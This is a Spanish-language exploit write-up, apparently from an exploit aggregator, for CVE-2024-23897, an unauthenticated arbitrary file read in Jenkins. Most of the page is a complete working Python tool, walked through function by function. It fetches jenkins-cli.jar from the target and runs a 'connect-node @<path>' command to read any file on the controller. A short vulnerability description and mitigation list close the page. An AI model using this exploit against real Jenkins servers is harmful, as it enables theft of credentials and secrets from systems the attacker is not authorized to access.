## https://sploitus.com/exploit?id=568C96C9-A4AA-5315-A81D-8B56CF682AEE
![banner](https://media.licdn.com/dms/image/C4E12AQEkzrSaJ9HXxw/article-cover_image-shrink_600_2000/0/1616222912932?e=2147483647&v=beta&t=1ajgdqhEyGB5hNuNW3nApYGLa5PY0xfMP2xnpcxtqek)
![img1](/img/Captura%20de%20pantalla%202024-08-08%20193515.png)
parametros `ip` , `puerto` , `ruta`
![img2](/img/Captura%20de%20pantalla%202024-08-08%20194358.png)
**output del exploit**
![img3](/img/Captura%20de%20pantalla%202024-08-08%20194604.png)
**Panel de ayuda**
### explicacion del exploit
Aqu铆 tienes la explicaci贸n del c贸digo en Markdown:
# Explicaci贸n del C贸digo
Este script est谩 dise帽ado para explotar una vulnerabilidad espec铆fica en Jenkins (CVE-2024-23897). Permite descargar un archivo JAR desde un servidor Jenkins y ejecutar un payload para conectar un nodo Jenkins. A continuaci贸n se explica cada parte del c贸digo:
## Importaci贸n de M贸dulos
```python
import argparse
import requests
import os
import subprocess
import sys
```
- `argparse`: Para manejar argumentos de l铆nea de comandos.
- `requests`: Para hacer solicitudes HTTP.
- `os`: Para interactuar con el sistema operativo.
- `subprocess`: Para ejecutar comandos del sistema.
- `sys`: Para interactuar con el int茅rprete de Python.
## Funci贸n `banner`
```python
def banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
```
Esta funci贸n imprime un banner decorativo al inicio del script.
## Funci贸n `descargar_jar`
```python
def descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Direcci贸n IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. C贸digo de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
```
Esta funci贸n descarga el archivo `jenkins-cli.jar` desde el servidor Jenkins especificado por la direcci贸n IP y el puerto. Si la descarga es exitosa, guarda el archivo en el sistema y devuelve `True`; de lo contrario, devuelve `False`.
## Funci贸n `attack_payload`
```python
def attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Direcci贸n IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
```
Esta funci贸n ejecuta un comando para conectar un nodo Jenkins utilizando el archivo `jenkins-cli.jar`. Despu茅s de ejecutar el comando, elimina el archivo JAR. Si hay un error en la ejecuci贸n, muestra un mensaje de error.
## Funci贸n `main`
```python
def main():
"""
Funci贸n principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Direcci贸n IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
```
La funci贸n principal del script:
1. Analiza los argumentos de l铆nea de comandos (`ip`, `puerto`, `ruta`).
2. Llama a la funci贸n `banner` para imprimir el banner.
3. Llama a la funci贸n `descargar_jar` para descargar el archivo JAR.
4. Si la descarga es exitosa, llama a la funci贸n `attack_payload` para ejecutar el payload; si no, finaliza el script con un c贸digo de salida `1`.
## Ejecuci贸n del Script
```python
if __name__ == '__main__':
main()
```
Este bloque asegura que la funci贸n `main` se ejecute solo si el script se ejecuta directamente, no si se importa como m贸dulo.
### Resumen
Este script es una herramienta para explotar una vulnerabilidad en Jenkins. Descarga un archivo JAR desde un servidor Jenkins y utiliza ese archivo para ejecutar un payload que conecta un nodo Jenkins. Los argumentos necesarios (`ip`, `puerto`, `ruta`) se proporcionan a trav茅s de la l铆nea de comandos.
Aqu铆 tienes una lista de las librer铆as necesarias junto con los comandos `pip install` para cada una:
# Librer铆as Necesarias
- `argparse`: Esta librer铆a est谩 incluida en la biblioteca est谩ndar de Python, por lo que no necesitas instalarla.
- `requests`: Para hacer solicitudes HTTP.
```sh
pip install requests
```
- `os`: Esta librer铆a est谩 incluida en la biblioteca est谩ndar de Python, por lo que no necesitas instalarla.
- `subprocess`: Esta librer铆a est谩 incluida en la biblioteca est谩ndar de Python, por lo que no necesitas instalarla.
- `sys`: Esta librer铆a est谩 incluida en la biblioteca est谩ndar de Python, por lo que no necesitas instalarla.
# Instalaci贸n de Librer铆as
```sh
pip install requests
```
## El CVE-2024-23897 es una vulnerabilidad presente en Jenkins, una popular herramienta de automatizaci贸n y CI/CD. Esta vulnerabilidad afecta a Jenkins en las versiones 2.441 y anteriores, as铆 como a las versiones LTS 2.426.2 y anteriores.
### Descripci贸n de la vulnerabilidad:
- **Funci贸n afectada**: Analizador de comandos CLI de Jenkins.
- **Problema**: No deshabilita una funci贸n que permite reemplazar un car谩cter '@' seguido de una ruta de archivo en un argumento con el contenido de ese archivo.
- **Impacto**: Permite a atacantes no autenticados leer archivos arbitrarios en el sistema de archivos del controlador Jenkins.
- **Riesgo**: Un atacante puede acceder a informaci贸n sensible almacenada en el servidor Jenkins, lo que podr铆a llevar a comprometer a煤n m谩s el sistema.
### Ejemplo de explotaci贸n:
1. Un atacante env铆a un comando CLI a Jenkins que incluye `@/ruta/del/archivo`.
2. El analizador de comandos de Jenkins interpreta `@/ruta/del/archivo` y reemplaza este argumento con el contenido del archivo especificado.
3. El atacante obtiene el contenido del archivo sin necesidad de autenticaci贸n.
### Medidas de mitigaci贸n:
- **Actualizar Jenkins**: Instalar versiones m谩s recientes que hayan corregido esta vulnerabilidad.
- **Configuraciones de seguridad**: Revisar y restringir el acceso al CLI de Jenkins, asegur谩ndose de que solo usuarios autenticados y de confianza puedan utilizar esta funcionalidad.
Actualizar y configurar adecuadamente Jenkins es crucial para proteger el sistema contra esta vulnerabilidad.
<div style="display: flex; align-items: center;">
![Python](https://img.shields.io/badge/Python-306998?style=for-the-badge&logo=python&logoColor=white)
<img src="https://upload.wikimedia.org/wikipedia/commons/a/af/Tux.png" alt="Linux Icon" width="50" style="margin-right: 10px;"/>
</div>